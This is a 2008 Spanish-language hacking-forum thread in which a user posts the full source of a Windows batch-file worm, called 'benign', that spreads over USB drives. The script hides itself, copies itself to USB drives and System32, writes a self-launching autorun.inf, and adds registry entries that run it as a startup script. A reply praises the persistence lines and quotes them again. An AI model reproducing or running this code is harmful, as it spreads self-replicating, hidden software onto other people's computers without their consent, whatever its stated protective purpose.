elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  exclam2 benigno
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: exclam2 benigno  (Leído 1,978 veces)
carlitos.java

Desconectado Desconectado

Mensajes: 13


Ver Perfil
exclam2 benigno
« en: 24 Noviembre 2008, 10:31 am »

Este code es un virus que se propaga por usb, y lo que hace es ir deshabilitando los autorun de los compu...dores con sistema windows, así, se propaga protección (xD).


source
Código:
::exclam05.gif.bat
@echo off
:ini
@attrib +h +s +r "%~f0" >nul 2>&1
@for /f "tokens=1 delims=:" %%a in ('@reg.exe query HKLM\SYSTEM\MountedDevices ^| @find /i "530054004F00520041"') do @call :fil %%a
@call :gar
if "%~f0"=="%Windir%\system32\%~nx0" (goto :ini)
exit
:fil
@set dr=%*
@call :lab %dr:~-1%
@goto :eof
:lab
@dir /a %1:\ >nul 2>&1 && @call :usbinfec %1
@goto :eof
:usbinfec
@if "%~f0"=="%1:\%~nx0" (explorer "%1:\")
@type "%~f0" | @find.exe /i "Un code para conquistarlos a todos" >nul 2>&1 && goto :eof
@dir /a "%1:\autorun.inf" >nul 2>&1 && del /f /q /a "%1:\autorun.inf"
@dir /a "%1:\autorun.inf" >nul 2>&1 && rmdir /s /q "%1:\autorun.inf"
@dir /a "%1:\autorun.inf" >nul 2>&1 && call :newname %1
@echo [autorun]>"%1:\autorun.inf"
@echo open=%~nx0>>"%1:\autorun.inf"
@echo icon=%%SystemRoot%%\system32\SHELL32.dll,^4>>"%1:\autorun.inf"
@echo action=Abrir carpeta par ver archivos>>"%1:\autorun.inf"
@echo action=@%~nx0>>"%1:\autorun.inf"
@echo shellexecute=%~nx0>>"%1:\autorun.inf"
@echo shell\open\Default=^1>>"%1:\autorun.inf"
@echo shell\open\Command=%~nx0>>"%1:\autorun.inf"
@echo shell\explore\Command=%~nx0>>"%1:\autorun.inf"
@echo ;;Un code para conquistarlos a todos;;>>"%1:\autorun.inf"
@attrib -h -s -r "%~f0"
@copy /y "%~f0" "%1:\" >nul 2>&1
@attrib +h +s +r "%~f0" >nul 2>&1
@attrib +h +s +r "%1:\autorun.inf" >nul 2>&1
@attrib +h +s +r "%1:\%~nx0" >nul 2>&1
@goto :eof
:gar
@attrib -h -s -r "%~f0"
@copy /y "%~f0" "%WinDir%\system32\" >nul 2>&1
@attrib +h +s +r "%WinDir%\system32\%~nx0" >nul 2>&1
@attrib +h +s +r "%~f0" >nul 2>&1
@reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf" /ve /t REG_SZ /d "@SYS:DoesNotExist" /f >nul 2>&1
@reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD /d 255 /f >nul 2>&1
@reg.exe add "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\0" /t REG_SZ /v "Script" /d "%WinDir%\System32\%~nx0" /f  >nul 2>&1
@reg.exe add "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\0" /t REG_SZ /v "Parameters" /d "" /f >nul 2>&1
@reg.exe add "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0" /t REG_SZ /v "FileSysPath" /d "%WinDir%\System32\GroupPolicy\Machine" /f >nul 2>&1
@reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\Startup\0\0" /t REG_SZ /V "Parameters" /d "" /f >nul 2>&1
@goto :eof
:newname
@set n=n%random%n
@rename "%1:\autorun.inf" "%n%" >nul 2>&1
@goto :eof


« Última modificación: 24 Noviembre 2008, 11:00 am por carlitos.java » En línea

-/lnkx/-

Desconectado Desconectado

Mensajes: 115



Ver Perfil WWW
Re: exclam2 benigno
« Respuesta #1 en: 4 Diciembre 2008, 18:49 pm »

Ola... que tal ?¿

Muy bueno el code...

no sabia que con estas entradas al registro podia ejecutar un batch de manera oculta...

Código:
@reg.exe add "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\0" /t REG_SZ /v "Script" /d "%WinDir%\System32\%~nx0" /f  >nul 2>&1
@reg.exe add "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\0" /t REG_SZ /v "Parameters" /d "" /f >nul 2>&1
@reg.exe add "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0" /t REG_SZ /v "FileSysPath" /d "%WinDir%\System32\GroupPolicy\Machine" /f >nul 2>&1
@reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\Startup\0\0" /t REG_SZ /V "Parameters" /d "" /f >nul 2>&1

Y una duda esto 
Código:
>nul 2>&1
es como un
Código:
%errorlevel%
?¿

Porcierto el Autorun que genera no funciona en ninguno de los quatro ordenadores que tengo ni canbia el icono ni se ejcuta ni sale nada si le doy clic con el boton izquierdo encima de la unidad...

PD: porque hay tantas @ ( no afectan al bat no ? excepto la de @echo off)

Gracias por tu tiempo
Un saludo



lnkx.


« Última modificación: 4 Diciembre 2008, 23:04 pm por -/lnkx/- » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines